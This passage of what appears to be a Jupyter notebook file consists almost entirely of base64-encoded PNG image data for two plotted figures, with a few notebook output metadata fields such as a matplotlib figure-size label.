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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAuMAAABACAYAAACwannNAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOydd3hU1db/vzOZFtJ7b5CQQCqk0EsCJASISBVElKCAiBeQq6hXfRW9Xr2gF5CrgtIjNfRQNAEChBJCeiEV0khI7zOTqev3B855M/RkZvT+3juf55knT86cOeuUvfdZe+29v4vV1tZG0KNHjx49evTo0aNHzx8O+88+AT169OjRo0ePHj16/lvRO+N69OjRo0ePHj169PxJ6J1xPXr06NGjR48ePXr+JPTOuB49evTo0aNHjx49fxJ6Z1yPHj169OjRo0ePnj8JvTOuR48ePXr06NGjR8+fBOdpX5qZmf1R56FHjx49evTo0aNHz/9ZlEolOjs7H9muj4zr0aNHz38QRIQPP/wQgwcPxuLFi3H16lWIRKI/+7T06NGjR4+GKJXKx27XO+N69OjR8x9EUlISDh48iNLSUgCAubk5BALBn3xWevTo0fP/Bw0NDVi4cCHS09MhlUr/7NN5Lp46TUWPHj2PIpPJUFhYiC1btsDb2xvvvvuu1m0oFArU1dXh+vXraGpqgouLC44fPw4DAwM4OzsjMDAQoaGhsLW1BYfzf6Manz59GomJiYiMjMSoUaNgYWHxZ5/SH05RURF2796N2tpa+Pn5ISIiAg4ODmCz9XETPZpz7949HDx4EE1NTRg/fjzCw8PB5/N1avPOnTuoqqqCXC4HAHC5XLi4uGDAgAE6tavnv5effvoJ2dnZUCqVOm07FQoFWCyWVmzo/C1ORLhx4wby8/NhZmaGkJCQ/7pKWF5ejjNnzmD48OEYPHgw+vXrp5XjymQyVFRUoLa2Ft3d3cx2T09PODo6QiAQgMViacXWfzJyuRw1NTVISEiARCKBn58foqKidGZPKBQiPj4e27dvh4eHB+bOnQsXFxet3ev29nZUVFQgOzsbu3fvRktLC5ycnHDu3DmwWCw4Ojpi8ODBmDJlCubMmQMnJyeNbXZ3d+Pu3buPncvW0NAAqVSK+vp6WFlZwc3NDc7OznB2dtbYbk+ys7MRFxcHqVQKLy+vR5xxhUKB5uZm2NraatXufwJEhIaGBpw5cwbJycng8/mIjo7GiBEjdLZ2RyaTITMzEzKZDKGhocjOzkZOTg46OjrA4/Hg7OyMIUOGwMPDQyf2/1spLi4GANTV1SEnJ0ctcmdvb4+QkBD4+PjoxPaVK1cQFxeH6upqsNlshIWFaeSMK5VK1NXVMe1GamoqJBIJiIjZp7i4GJWVlYwzzuFw0L9/f0RHRyMiIkKzC/qd8+fPo6ioCGKxWG27QCBAaGioTtqrx0FEqKmpQXx8PJydnTFjxoxnBkt07TD+t1FVVYWjR48iJCQEdnZ2MDAw0Nqx5XI5uru7UVJSgpKSElRVVUEgEMDJyQkGBgawt7eHl5cXrKysen1snTvjUqkUhw4dwoEDB+Dr64s1a9b8Vznjra2t2LdvH9avX49PP/0ULi